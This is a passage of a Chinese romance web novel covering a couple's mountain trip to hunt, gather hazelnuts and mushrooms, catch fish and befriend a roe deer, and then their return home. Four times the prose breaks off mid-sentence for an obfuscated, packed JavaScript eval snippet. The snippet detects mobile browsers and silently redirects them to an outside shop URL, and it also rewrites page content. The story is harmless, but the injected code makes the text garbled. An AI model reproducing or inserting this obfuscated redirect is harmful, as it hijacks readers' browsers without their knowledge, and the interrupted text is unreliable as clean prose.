俩人打过招呼后，刘老夫郎问：“意哥儿啊，我听说你要在镇上卖烤串？” “是啊，大爷爷，等烧烤炉做好了我就去。” 吉如意与刘老夫郎并没有什么亲戚关系，只是一个村子住着，礼貌地叫个称呼而已。 “我刚才从你家路过，闻着可香了。” “我刚才做了些串，给我大伯送去了些，想让他帮我尝尝味道怎么样。我家里还有些，大爷爷要是没事的话，就去我家尝尝。” 吉如意说的倒不是客套话，是真心实意地邀请他。刘老夫郎吃过的好东西不少，他要是说好吃，那十有八九就差不了。 “那敢情好啊，”刘老夫郎乐呵呵的，“那我就厚着脸皮去尝尝。” 烧烤炉子还没做好，也烤不了，所以吉如意这次做的不是烤的。这次主要是想尝尝料好不好，也就没那么多的讲究了。 就是把肉提前腌好，又放在锅里炒熟，然后撒了一些调料。肉还是姜临买来的，姜临知道两个孩子最近的花销有些多。 除了肉以外，还有一些青菜、土豆、菌子之类的。 吉如意做的挺多，晚上家里就准备吃这个了。 刘老夫郎尝过后，赞不绝口：“好吃好吃，这个料比镇里卖的多香。只是里面有辣椒，像我这种岁数大的人，或者是小孩，就吃不了辣椒，要是没有辣椒就更好了。” “有不加辣椒的，”刘老夫郎的话让吉如意彻底放心了，“到时候可以选择放辣椒或者是不放。” “这样最好了，那我就能多吃一些了，”刘老夫郎乐呵呵的，“等烧烤炉回来了，你们是不是要在家里先做一顿试试？到时别忘找我来吃啊，我要做你们的第一个客官。” 吉如意连连答应着：“等回来了一定去找您过来。” 刘老夫郎满意地走了，看来他又有新的好吃的了。 吉上进这几天都乐呵呵的，甚至还能到吉勤奋家里去转转呢。 吉勤奋刚看见他时都惊了，以为自己看错了，愣了片刻后才反应过来。 精神头眼见地好起来了，吉勤奋都跟着高兴。 前阵子老五家那个情况，他跟着操了不少的心。眼见着老五一家好起来了，招了个高大英俊又能赚钱的赘婿，意哥儿又要到镇里做生意，连带着他们家都能跟着沾沾光，日子是越来越好了，也越来越有盼头了。 “爹——云铮——咱家鸡孵出来了！”吉如意喜悦的声音传了过来。 霍云铮最先走过去看，见老母鸡的胸脯下面冒出了一只毛茸茸的小脑袋，见到他们又马上缩了回去。没一会儿功夫，又把脑袋伸了出来。 姜临没过来看，只站在屋门口笑道：“算算日子也该到时候了，这几天家里有事，倒是把它给忘了。” 霍云铮看着心喜，想伸手把小鸡崽拿出来好好的看看。 “小心。”吉如意抓住了他的手，“老抱子可凶了，别让它叨到了你的手。” 霍云铮庆幸，幸好没有把手伸进去。 “在外面看到牛，它都敢跟牛打架。” “这么凶！” “是啊，不过等它撇窝了就没那个胆子了。现在为了保护小鸡崽，什么它都敢。” 霍云铮再次感叹。 “一共孵了几只啊？” “十只呢，就是不知道能不能全孵出来。现在出来一只了，估计其他的今天也都能出来，我去取些食来。” 吉如意特意抓了一把苞米粒，没有掺稻糠。老抱子抱窝辛苦了，可得给吃点儿好的。 他把苞米粒放在窝旁，在老抱子把头伸过来时，迅速把手抽走。 看到食物，老抱子没吃，喉咙里发出略带急促的咕咕声，用尖嘴点着苞米粒，发出让小鸡崽吃。 见小鸡崽吃不了这么大的苞米粒，它还会用嘴反复将苞米粒叨开，让小鸡崽方便吃。 “它竟然不吃。”霍云铮有些感叹。 吉如意笑道：“等小鸡崽不吃了，它就会吃的。” 果然，没过一会儿，母鸡才开始吃，不过吃的不多，没吃几口就停下了，继续专心孵蛋。 霍云铮看得动容，忽然，从背后揽过吉如意，将他抱在怀里，凑到他的耳旁：“如意什么时候给为夫生个小崽啊？” 吉如意羞得满脸通红，小声道：“讨厌啊你。” 他的手摸摸肚子，已经成亲好些日子了，他的肚子里应该踹上崽了吧？ 霍云铮得了箭以后，到上山去打了两次猎，猎得了三只野鸭，两只花尾榛鸡，三只野兔回来，都是一些小东西，就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我到山上摘些野菜和菌子，云铮再打些猎物，也就够吃了，左右三四天就回来了。” “那拿些土豆吧，家里土豆还有很多，做什么都好吃，也都能放进去些。” “那行，我拿点儿。” 换洗的衣服也拿了一件，大黑也带着去，霍云铮最近有在训练它，是时候看看它的能力了。 吉如意没在山上过过夜，显得很兴奋。霍云铮看着小夫郎这股欢快劲，心里也高兴。 大黑也很兴奋，摇着尾巴跟在俩人身前身后的。 除了打猎必备的东西以外，吉如意又带了几个大背篓，他打算捡些菌子，采些榛子，再摘点儿野果子之类的回来晾成干，留着过冬吃。 清晨的露水很重，天光刚刚放亮，大多数村民们还没起来呢。一辆板车从吉家推了出来，一个高大俊美的汉子，一个貌美如花的小哥儿，还有一条黑的发亮的狗，朝着山上走去。 33. 第三十三章 大黑的身上沾了一层露水，抖了一下毛，甩了吉如意一身。 吉如意伸手拍了它一下，轻骂一声。 太阳一点一点升起来，热气也渐渐上来。 他们要先去小屋那把东西都放下，山里的景色很好，还有鸟儿鸣叫，心情都变得舒畅。 一路上野花幽香，霍云铮突然道：“那次咱们上山，说是回来给你挖那朵花的，结果到现在都没挖。” 吉如意早就把这事忘在了脑后：“我都忘了，山上这么多的花，等我看到喜欢的自己挖。” “说好了我给你挖的。”霍云铮有些闷闷不乐，这种事竟然忘了。 “那你给我挖。”吉如意敏锐地察觉到了霍云铮的情绪，“那天咱们俩的收获太大了，光顾着高兴了。” “本来都答应你的。”霍云铮小声说道。 吉如意调皮一笑：“那就罚你多给我挖一些，我要好看的。” 霍云铮这才笑了：“这次回去就把咱俩那屋的窗台都摆满了。” “行！” 吉如意大声的笑出来，抬头看看天，真蓝啊。 “如意，你坐上我拉着你啊。” 霍云铮见小夫郎的脸蛋红扑扑的，有些心疼。 “不累，走路而已，算不得什么。” 吉如意也心疼自家相公，山路这么难走，霍云铮本来拉车都不好拉，他可不能坐上去。 “来吧，你相公有都是力气，野山羊那么重，我都能扛下来。” “那也不。” “快点儿。” “不。” 霍云铮把板车停下来，来到吉如意面前，将他拦腰抱起，抱在了板车上。 而后，飞快地拉起板车就走，还回头朝吉如意一笑。那意思好像在说，你相公厉害吧。 吉如意不敢乱动，只好老老实实地坐在板车上。 大黑看看两个主人，又一溜烟地跑去玩了，很快不见了踪影。 不多时，嘴里竟叼着个东西回来了。 “是花鼠。” 大黑把花鼠放在地上，花鼠刚要跑，就被它踩住了尾巴。 “好狗。”霍云铮将车停下来，伸出一手摸了一下它的头，“自己吃了吧。” 得到许可后，大黑将花鼠大快朵颐，然后又撩开四蹄，不见了踪迹。 “大黑被你训练的真好，都能抓花鼠吃了。” 看到大黑这么通灵性，吉如意自然是十分高兴的，这样可能助不少力。 “是啊，大黑真是条很聪明的狗。” 霍云铮也没想到大黑这么有灵性，真是条好狗。 吉如意看到霍云铮的脖子上有着一层薄薄的汗，他将手巾找出来，将他叫过来给他擦拭。 高大的汉子一步一下走得很踏实，就怕颠到了吉如意，让他坐得不舒服。 想到此处，被爱意萦绕的小哥儿，没忍住伸出双手从背后抱住了自己的相公。 霍云铮一怔，手脚都不知道该怎么放才好。 “你知道吗？其实我早就见过你。” 忍了这么久，霍云铮忍不住了，还是决定说出来。成亲后他不是没有想过说，只是他怕被吉如意误以为他和他成亲，是想报答他的恩情。 毕竟，他是在那样的情况下入赘的吉家。 “我知道的。” 吉如意将脸埋在霍云铮的背上，说话时的声音微微震动着。 “无关恩情，我就是心悦你。” “我知道的。” “第一眼就心悦你，我原以为那是我淹水后的幻想，后来竟在村里见到了你。” “不是幻想，那就是我。” “知道你定亲了，我很痛苦。我请梁满仓喝了顿酒，知道了他的秘密。好在，你是我的了。” “傻瓜。” 吉如意将脸整个埋在霍云铮的背上：“背我。” 霍云铮急忙弯下腰，待吉如意跳上来后，用手把住他的双腿，生怕他掉下来。 “坐稳了，我要跑了！” 说罢，迈开大步子跑了起来，惊起露头的地鼠缩回头去。 “哈哈哈，哈哈哈！” 吉如意毫不掩饰着心中的喜悦，放声大笑起来。 俩人玩闹够了，这次又重新往小屋那走。 小屋在山里偏远一些的位置，吉如意没去过。 村里人挖野菜、捡菌子都走的不太远，就怕遇到危险。 吉上进倒是知道位置，不过没住过。根据吉上进的指引，二人很顺利地找到了小屋。 小屋修剪得很坚固，不光有屋，还有院子。 院子垒得很高，都是用石头垒成的，十分坚固。 屋子倒是不大，只有厨房和一个睡觉的屋子。 这本来就是供猎户和行人临时落脚的地方，安全性最重要，其他的就不那么重要了。 吉如意推开房门，房屋里落了一层薄薄的灰，看来已经有日子没人住了。 睡觉的屋里只有一张床。 厨房竟还有个米缸，里面的米不多，可以做几顿饭吃。还有一些油和盐，应该是以前住的猎户，留给后来人用的。角落里还有一些柴可以用，不过都不是很多。 等他们走的时候，他也留上一些。 除此之外，还有一个装水的水缸，挑水的水桶。一个碗架，里面有一副碗筷。 还有一个矮凳，连桌子都没有，想来吃饭时就在锅台边吃了。幸好他在家里拿了两把凳子，够他们用了。 吉如意没急着把板车上的东西拿下来，他只把围裙找出来。 “你去挑些水，我把屋子收拾收拾。” “好，我这就去。” 霍云铮拿过水桶出去了，大黑想了想，没跟着去。 吉如意拿起笤帚将地面清扫了一下，快要扫完时，霍云铮挑着水回来了。 “距离这不远有一条小溪，来回也就一盏茶的时间，水挺清澈的，还有鱼呢。” “是吗？那我收拾完了可得去看看。” 吉如意将水舀到盆里一些，将抹布放在里面洗了洗，开始擦拭。 屋子小，除了一张床也没什么可擦拭的地方，他甚至还将墙简单擦了一下，将浮灰都擦掉了。 主要是厨房，得好好清洗一番。 “还有什么用我的地方？” 霍云铮已经挑完了水。 “没什么了，这些我收拾就行，也没有多少活。” “那我去打些柴回来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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做好这些后，他稍作休息一番，又洗净了手，打算做今日的午饭。 先焖一锅米饭，将饭放在锅里煮着，只偶尔添一些火，别让火灭了就行。 他用的是这里原本剩的柴火，等走后再填补上就是。 又从篮子里取出一颗菘菜，打算做一个醋溜菘菜。再来一道烧茄瓜，将茄瓜和土豆切成滚刀块，锅中烧油，先将土豆在油中炸熟捞出来，再将茄瓜也炸熟捞出。 茄瓜十分吃油，咬上一口满嘴冒油，特别适合干体力活的人。今天没有肉，他就要想法让霍云铮吃得好一些。要不然这么费油的菜，他是万万不能做的。 吉如意将锅中剩余的油盛出来，留着以后用。 又重新起锅烧油，葱姜蒜爆锅，将炸好的茄瓜和土豆放入锅中翻炒，加入调料，再勾芡盛出，就是做好了。 除了这两道菜以后，吉如意又做了一道胡瓜汤和凉拌莱菔。 将菜做好盛出来后，吉如意只听一阵狗叫，霍云铮回来了。 34. 第三十四章 吉如意给他倒好了水，让他先洗手。 “我在四处大概看了下，往东走不远，就有一片榛子林。”霍云铮边洗手边说道。 “那我可要多采些榛子，咱们这次带来的筐和麻袋都够用，我可都得装满了。”吉如意将手巾递给他，又去给大黑添水，大黑已经喝了一盆了，却没有离开的意思，那是没喝好。 “我吃完饭就去打猎，可能要天黑以后才回来，多往远处走走。你一定要小心，别离屋子太远，天黑之前一定回来。”霍云铮不放心地嘱咐着。 “我知道的，你也万事小心，”吉如意嘴上答应着，“你先去吃饭，我给大黑弄点儿食吃。” 霍云铮将盆里的脏水倒掉：“不用喂它太多，它刚才吃了几只花鼠。” 吉如意笑道：“它跟着来打猎，伙食倒是比以前好了。” 农户人家自己都很少吃荤腥，更别提给狗吃了。 花鼠再小也是肉，又吃了好几只，积少成多，可就不少了。 大黑喝完了水跑去吃食，吉如意挨着霍云铮坐在灶台旁边。 霍云铮先喝了一碗汤，天气炎热，他又走了多时，早就渴了。胡瓜汤带着一股子清香味，喝了一口就停不下来，几乎大半盆的汤都让他喝了。 四个菜的分量很足，霍云铮食量大，吉如意终日劳作，吃得也不少。俩人将菜全都吃得干干净净，只剩下些汤底。那还带着油呢，吉如意把大黑吃完的食盆拿进来，将菜汤倒在里面，打算下顿和食给它吃。 霍云铮检查了一下自己打猎的家伙什，看着不缺什么，便要出去。 吉如意看着烈日当空，心疼他：“歇会儿再去吧，现在日头正大，怪热的，当心中了暑气。” “无妨，山中树林多，若是实在热得难熬，我便找树荫下凉快。倒是你，先睡一觉再出去，左右榛子在那里又不会跑掉。” “我会照顾好自己的，你放心吧。”吉如意给他装好了水，让他拿着。 霍云铮将东西收整已毕，带着大黑走了。 吉如意一时闲了下来，刚吃完午饭确实有些犯困。他想了一下，将褥子抱进来，铺到床上，躺了上去。 被太阳晒过的褥子暄软，散发着好闻的味道，刚抱进来时甚至有些烫呢。 吉如意闭上眼睛，很快睡着了。 再醒来时，看着陌生的环境有着须臾的怔愣，旋即反应过来。 他下床穿鞋，将褥子又抱了出去——换个面晒。顺便将被子也换了一面，而后，背起背篓，拿着工具去了霍云铮说的有榛子树的地方。 这的榛子树没有上次的多，不过榛子个头都很大。离小屋不是很远，来回也就一刻钟。 吉如意没客气地把这的榛子全都采回来了，他将麻袋铺在院子的地上，把榛子直接倒在上面，打算有时间慢慢扒。 当吉如意将最后一背篓的榛子倒到地上以后，抬起头看天色已经不早了，该做晚饭了。他将被褥抱进来，免得淋上露水该潮了。 刚要淘米，听到一阵狗叫，吉如意将盆放下，来到院子里张望着，紧接着又听到大黑用爪子咔咔挠门声和喉咙里传出来的急躁声。 吉如意忙将门打开，大黑窜了进来，疯狂地扭着屁股，摇着尾巴，用舌头舔舐着他。明明只分别了一下午，却像好久没见了一样。 霍云铮跟在后面，很快也进来了。 “正好要做饭，你就回来了。”吉如意笑着帮他把背篓摘下来。 霍云铮道：“头一天来，没敢远走，只在附近看看，又布置了几个陷阱。今天打到了两只大雁，还有只花尾榛鸡，一只野鸡。我还捡了些野鸡蛋，在河里摸了条鲫鱼，咱们晚上炖鲫鱼汤喝，再把那只野鸡炖了吧。” “好啊，你先歇着，我去做晚饭。” 吉如意边说着，边琢磨着应该再加点儿什么吃，今天都是荤的，应该再弄道素的，也不用做太多，他们俩也吃不了。 霍云铮将猎物拿起来，装进了笼子里后，这才瞧见小院里晾着的那些颇为壮观的榛子。 霍云铮惊了：“这么多？” “我都给摘回来了，”吉如意说这话时的表情十分得意，“这次的榛子个头都比较大，小个的少。” “你可真是太能干了。”霍云铮没想到，只有一个下午的时间，吉如意竟然弄回来这么多，怕是有一百斤吧。 听到这话，吉如意从内而外的感到高兴，被人认可和夸赞的滋味自是十分欢喜的。 “那你先歇着，我去做晚饭。” 霍云铮想去帮忙，吉如意没让，他心疼相公累了一天了。 霍云铮却没有休息，小夫郎心疼他，他也心疼小夫郎。他拿着矮凳坐在榛子那，开始扒榛子。 大黑去吉如意那里转了一圈，没得到什么吃的，又来霍云铮这里。 霍云铮给了它几个榛子，大黑用牙嘎巴一声将榛子壳咬裂，去吃里面的仁。 霍云铮笑道：“你还会光吃仁呢。” 吉如意正巧出来倒水，听到霍云铮的话，也笑道：“去年过年的时候，家里吃瓜子，大黑用嘴扒皮，扒的还快，吃的还香。” 俩人说着闲话，时间一晃而过，只觉得不多时饭菜便做好了。 吉如意先把大黑的食弄出来，免得吃饭的时候它总过来烦他俩。 还特意挑出几块肉放在它的食盆里，再加上中午留的油汤，大黑吃的喷香。 依旧是围着锅台吃的，吃完饭后，又烧了一锅水。在这里不比在家，只能简单地清洗一下。 洗完后，并肩躺在床上，霍云铮将吉如意搂抱在怀里。 过了一会儿，吉如意推开了他。 热。 霍云铮不情不愿地只得放开，他也不怎么舒坦，倒不是天气热的，总有一股邪火从身体里往外热，也不知道怎么回事。 随便说了些闲话，俩人沉沉睡去。 大黑趴在厨房里，呼噜打得震天响。 夜，来了。 次日天明，吉如意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14430062|153379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做好早饭后，还特意烙了几张饼，用油纸包上，让霍云铮带在身上，中午的时候吃。 昨天晚上，霍云铮说了中午不回来吃了，打算在外面多打一会儿猎。 送走了霍云铮，吉如意简单收拾了一下，也拿着工具，背着背篓出去了。 榛子并不急着扒，等晚上时再扒也一样。 这边很少有人来，野菜、菌子也很少有人挖，这可乐坏了他，好久没挖这么爽了。尤其是榛蘑很多，这种菌子很值钱，最重要的是霍云铮喜欢吃！ 吉如意想了一下，专注于采摘榛蘑，其他的蘑菇就少采了一些。 还遇到了山葡萄，果实有些小，还有些酸，还没长到时候。 吉如意喝了口水，压住了嘴里的酸涩。 采满一筐榛蘑后，吉如意背了回去，打算把晾晒起来。不及时处理，很容易坏，他就白采了。 这次从家里拿来的东西挺多，幸好他当时没嫌麻烦，特意多拿了东西，才不至于想用的时候什么都没有。 他将榛蘑全都晾晒上，十斤鲜榛蘑大概能出一斤干榛蘑，可以保存很长的时间。 晾晒好榛蘑后，他又将榛子翻了翻，让它们均匀地晾着。 然后，又背着背篓出去了。 吉如意没敢走太远，今天只去了南边，把南边能摘的，能采的都带回来了，看看天色，太阳已经西斜，他不打算再采摘了，打些水回来，再将榛子皮扒了。 今天打算炒一盘菌子，为了省力，他打算在溪边洗菜。 水也只剩半缸，他拿着桶去溪边挑水，挑好水后，吉如意又拿着盆来到溪边，蹲下来仔细地清洗着。 溪水十分清澈，还可以看到里面的游鱼。那些鱼呆呆的，可能是这里很少有人来，它们也不怕人。 吉如意起了捉鱼的心思，他将裤子挽起来下了小溪，瞅准一条最胖的三道鳞一抓。哗啦啦，鱼出了水，溅了他一身。 三道鳞拼命地挣扎着，力气大又滑，吉如意暗道失策，应该拿个桶来的，直接把鱼扔桶里。 现在，他只能用力地抓着鱼，不让它从手里跑掉。 吉如意被鱼溅的满脸都是水，还没有手去擦，只能闭着眼一点点往岸上走。 终于到了岸上，他用力将三道鳞一摔，将它摔死，这才喘了一口气，忙用衣袖擦擦脸。 这衣服，一会儿得洗洗。 刚睁开眼，就感觉有一股温热的气息，好像有什么东西在闻他。大山里，能闻他的只能是动物。 吓得他下意识地控制了几步，再看像方才那处时，才发现是虚惊一场。 吉如意笑骂道：“傻狍子。” 他掬起一捧水，往狍子身上撒去：“让你吓我。” 吓得狍子屁股上的白毛都炸开了，撒开四蹄就跑。 吉如意把鱼捡起来，就在小溪边将鱼收拾干净，鱼鳞顺着溪水流走了。里面的内脏他没扔，要留给大黑吃。 处理鱼的工夫，刚才那只狍子又回来了。 35. 第三十五章 狍子歪着脖子看他，大大的眼睛里满是好奇。 吉如意顺手抓了把草给它，它看了一眼，吃了。 狍子这种动物，好奇心很大。危机意识还低，村里人都叫它们傻狍子。 狍子吃完草又看吉如意，吉如意处理好鱼，甩甩手，伸手去摸它。狍子也没躲，任由他摸着。 吉如意笑了笑，拿着东西回小屋去了。 不知道霍云铮什么时候回来，他想了一下，还是决定先把饭菜做回来。 万一他回来的早呢？中午都是糊弄的，晚上可得吃顿好的。 而且放在锅里不盛出来，也能保证一段时间不凉。如果时间长了，他加一把火就好。 这样想着，吉如意便将饭菜做了出来。需要炒的菜都切好放在一边，等霍云铮回来以后现炒就可以了。 做好这些后，他又将榛蘑全都收进屋里，靠边放在屋地上。然后又拿着矮凳出去，开始扒榛子皮。 不知不觉太阳已经落山，吉如意伸着脖子张望着，人还没有回来。 他有些心急，夜晚的山上危机四伏，别再遇到了什么危险。 心不由地焦躁起来，再做什么也做不进去。 好在没过多久，约摸着一盏茶的功夫，一声狗叫从远处传来。 回来了！吉如意急忙将门打开，站在门口张望着。 果然，没一会儿，大黑的身影越来越清晰。 大黑一如既往地热情，吉如意将它赶到一旁，看向后面。 现在的天色已经全黑了，霍云铮的轮廓越来越清晰，看不清手里拽着的是什么，应该是个大家伙。 “如意——” 他远远地喊了一声。 吉如意也往他这边走：“我在呢。” 说话间，已经碰了面，吉如意惊道：“竟是头梅花鹿。” 霍云铮擦擦头上的汗：“为了抓它着实费了些力气，否则也不会回来的这么晚。” “我说你这么还不回来，今天累坏了吧。” 吉如意想把他的背篓摘下来，自己背在身上，霍云铮没让。 “还好，收获很大，总算是没有白忙活。”别的不说，就说抓到了一只梅花鹿，这就能卖几十两银子了。他又伸出手来，“可甜了。” 吉如意接过，借着月光一看，竟然是树莓。 心里甜滋滋的，比吃了树莓都要甜。 除了树莓，霍云铮还带回来一些山丁子、面果、羊奶.子。 “我都尝过了，都很好吃的。”他想着小夫郎会喜欢吃这些，看见了就摘了些。 吉如意止不住的笑意：“一会儿我洗了，吃完饭再吃。” 回到小屋后，霍云铮去饲弄他打回来的猎物，吉如意去做晚饭。还好，并没有凉，盛出来吃刚好。 他又快速地炒了一盘菌子，今天一条鱼，一盘菌子，已经够他们俩吃了。 俩人边做着手里的活计边说着话。 “除了梅花鹿，今天打了三只野鸡，两只野兔，还有一只野鸭。” “这么多？”吉如意还过去看了眼，可能是黑天的缘故，它们还挺老实的，霍云铮弄了点儿水和食物给它们。 吉如意已经把饭菜都摆上了，霍云铮弄好了一看，惊讶道：“还有鱼！” 吉如意得意地把抓鱼的经过说了一遍，连遇到狍子的事都说了。 霍云铮不吝夸赞：“真是太厉害了。” 吉如意洋洋得意，招呼着他快来吃饭：“我看那里还有河虾呢，我明天摸点儿回来，炒给你吃。” “好啊。” 霍云铮坐下来，端起碗，吃的头也不抬。他今天真是累了也饿了，纵使饿得厉害，吃饭依旧斯文有礼。 吉如意不禁夸道：“你吃饭的样子真好看，也没有声音。” 霍云铮将嘴里的东西咽下，朝着他笑了笑。 霍云铮真是饿了，连菌子的菜汤都泡进碗里全吃了。 鱼是红烧的，十分适合干了一天体力活的他。 一条两斤多的鱼，被俩人吃的没剩什么。吉如意把鱼刺挑出来，将鱼头和剩下的残渣一并倒给了大黑。 吃完后，俩人来到院中消食。吉如意将霍云铮带回来的野果洗净装入盆中端给他，刚吃完饭，俩人并未再多吃野果子，只拿了一个尝了尝。酸酸甜甜的十分可口，吉如意幸福地眯起了眼睛。 他是个眼里有活的，还有没扒完的榛子，左右现在也睡不着，便过去扒。 没有点火把，免得招蚊虫，今晚皓月当空，就算不点火把也能看得清清楚楚的。 霍云铮过来帮忙，吉如意赶他去休息，他说睡不着，也来扒一会儿，何况还坐着呢。 吉如意便没有再拦着，他从屋里取了艾草出来，在院中点燃驱蚊虫。 “咱们后日一早就下山。”霍云铮边扒边说道，算算日子，吉如意的烧烤炉也该做好了。他这次到山上的收获不小，能卖得不少银子。 “两个爹爹看到咱们回来，指不定怎样高兴呢。” 说起来，这还是吉如意长这么大头一次离开家这么长时间。 俩人说说笑笑，活干得也快，感觉没多长时间，榛子竟被全都拔完了。 简单洗漱一下，便相拥睡去。 天亮时，霍云铮给动物们添好食水，带着吉如意做好的吃食，领着大黑出发了。 吉如意背起背篓，今天换了个方向。不多时便见到了一颗核桃树，核桃树生得高大。他用力踹了几下树干，没怎么踹动，只能爬树去摘了，他将背篓放到地上，找了一个好爬的地方。 虽然他是个哥儿，但农户人家的哥儿，姐儿很多都会爬树。不会爬树，树上的很多好东西就摘不到，说白了都是为了生存。 这里也没有别人，他不怕核桃被别人捡走，将便核桃摘下来扔到地上，打算一会儿一起捡。 约摸着差不多够一背篓了，他从树上爬下。擦擦汗，低头去捡核桃。 吉如意往背篓里装满了核桃，刚要背起来时，就见不远处站着一只狍子正盯着他看。 也不知道是不是昨天的那只，吉如意朝它招手：“来，过来！” 狍子没动，只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14439922|153379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歪着头看他。吉如意又叫了几次，还是没过来，便不去管他，自己背起背篓打算回去。 等背篓刚背上时，狍子竟然过来了。 吉如意一伸手就摸到了它：“叫你来你不来，不叫你来你倒是来了。” 说罢，就要走，他还打算再摘两筐呢。 他走，狍子也跟着走。 吉如意故意停下来，发现狍子也停下来，大大的眼睛里满是疑惑，好像在说为什么不走了？ “你要跟我回去吗？” 狍子当然不会说话，吉如意笑了笑，又往前走，结果这只狍子真跟着他回去了。 吉如意动起了心思，要是它还跟着自己的话，这不是现成的苦力吗！ 他将核桃倒在地上，飞快地拿出两个麻袋来，又去了核桃树那。 这次狍子倒没跟来，跑了。 吉如意有些失望，看来只能靠自己。 可等他装满了两个麻袋以后，狍子竟回来了。 吉如意急忙把两个麻袋系在一起，将狍子招来，把麻袋往它背上一放，一边搭了一个，正合适。 哪知狍子受惊，屁股又开出一朵白花来，跑了！ 吉如意又气又急，在后面边喊边追，他哪能追得上狍子，没几下狍子就不见了踪影。 “我也真是蠢，怎么能想到让狍子驼东西。”吉如意懊恼地说道，这下好了，想省力没省到，反而费力了。核桃全白摘了，还得重新摘。 吉如意刚想爬树再摘些核桃时，狍子竟又回来了。 吉如意大喜过望，拍拍它的背：“我以为你跑了呢。” 说着，他从地上拔了些草送到狍子嘴边，狍子还真吃了。 吉如意笑道：“吃了我的草，可得给我干活，帮我把东西送回去。”他觉得自己很像恶毒的地主，压榨着可怜的佃农。 狍子这次没再跑，跟着吉如意来到了小屋。 吉如意把麻袋从狍子的背上拿下，用大黑的食盆给它倒了些水喝，又弄了些草给它吃。吃饱喝足后，狍子走了。 抬头看看太阳，已经过了中午。早上他给霍云铮做干粮的时候，自己也留了些。现在正好吃了，他也没热，拿起来倒了碗水边吃边喝。 刚刚吃完，就听一阵狗叫，大黑回来了。 怎么这么早就回来了？他连忙推开院门出去，大黑很快跑了进来。 紧接着，就看见霍云铮怀里不知道抱着一个什么东西。 远远地，就听霍云铮朝他大声说道：“如意，你看我带什么回来了！” 吉如意忙去迎他，见他怀里抱着的那个好像是鹿，又不太像，明明是只幼崽的模样，可比大成年的大黑要大多了。 一只腿还受了伤，被霍云铮抱在怀里也不老实地挣扎着，俩人都不认识这是什么动物。 “大的那只不知道被什么动物吃了，死了应该有几天了，有的地方都开始烂了。小的这只就在大的旁边，别看腿受伤了，跑得可快了，我费了好大的力气才和大黑抓到它。咱们收拾收拾回家，得给它处理下伤口，然后喂它吃点儿东西。” 36. 第三十六章 除了这只像鹿的小家伙以外，还有两只野兔和一只獾子。 獾子的肉不好吃，很少有人吃，但它的油用处很大，尤其治疗烫伤很管用。 虽然因小家伙的到来打乱了他们俩的计划，但俩人这次上山，已经有不小的收获了，称得上是满载而归。 俩人迅速收拾了一下，给后来人留了一些米、油、调料和柴，推着板车往山下走去。 起先，大黑还跟在俩人身后。 吉如意拍了它一下：“大黑，先回家去，告诉小爹爹我们回来了。” 得到指令的大黑，撒开蹄子就跑。 俩人边走边说着话，不觉得路有多难走，再说了满车的东西，那可都是银子啊。 忽而，远处传来狗叫声。吉如意一喜，这是大黑报信回来了。 不多时，果然见着大黑带着吉自强和吉安往这边来了。 吉自强恰好到吉如意家里送做好的桌椅，看到大黑回来了，就跟着过来看。 来的路上，正好遇到了下山的吉安，兄弟俩就一块来了。 俩人都是有力气的汉子，忙过来帮忙，霍云铮一下子轻松了许多。 板车上被东西盖着，并不能瞧见到底打了多少猎物，免得有人瞧见了眼热。 那只似鹿非鹿的小家伙叫了一声，吉如意说道：“大哥，我们从山里救回来一只动物，长得像鹿，但好像又不是鹿，不知道是什么。” “等到家里我看看。”吉自强说道。 吉安也好奇，他还没成年，还保有少年人的天性。 “哥，长什么样啊？咋还像鹿非鹿呢？” 吉如意笑道：“等到家了你就知道了。” 姜临看到大黑回来后，马上洗了下手，打算给小两口做些饭吃。 俩人在山上好几天，也不知道吃没吃好，这个时候回来，中午也不知道吃没吃东西。 如果做饭菜还需要一段时间，不如做一锅疙瘩汤面，既快又好吃。 想到这里，姜临到园中摘了两颗番柿和少许的小白菜。起锅烧油，将切好的番柿放入锅中炒得软烂，将汤汁都炒了出来，然后在锅中加水。 等锅里的水开了，又舀了些面放盆里，往盆里慢慢倒水，用筷子迅速搅拌，使之成为一个又一个的小疙瘩，边搅边往锅里倒。 等面全都倒完以后，他又打了两颗鸡蛋，搅拌好后倒进锅里，形成了蛋花。 然后放入调料调味，最后把切好的小白菜放入里面，用两个小盆，将疙瘩汤盛了出来。 姜临还拍了两根胡瓜凉拌，又夹出来一碟咸菜，他们回来等着吃就可以了。 吉上进站在大门外朝外面张望着，远远地就瞧见了一众人往这边来。 顿时眉开眼笑的：“他们回来了！” 姜临也跑过来看，果然瞧见他们回来了，俩人忙出来去迎，也想搭把手。 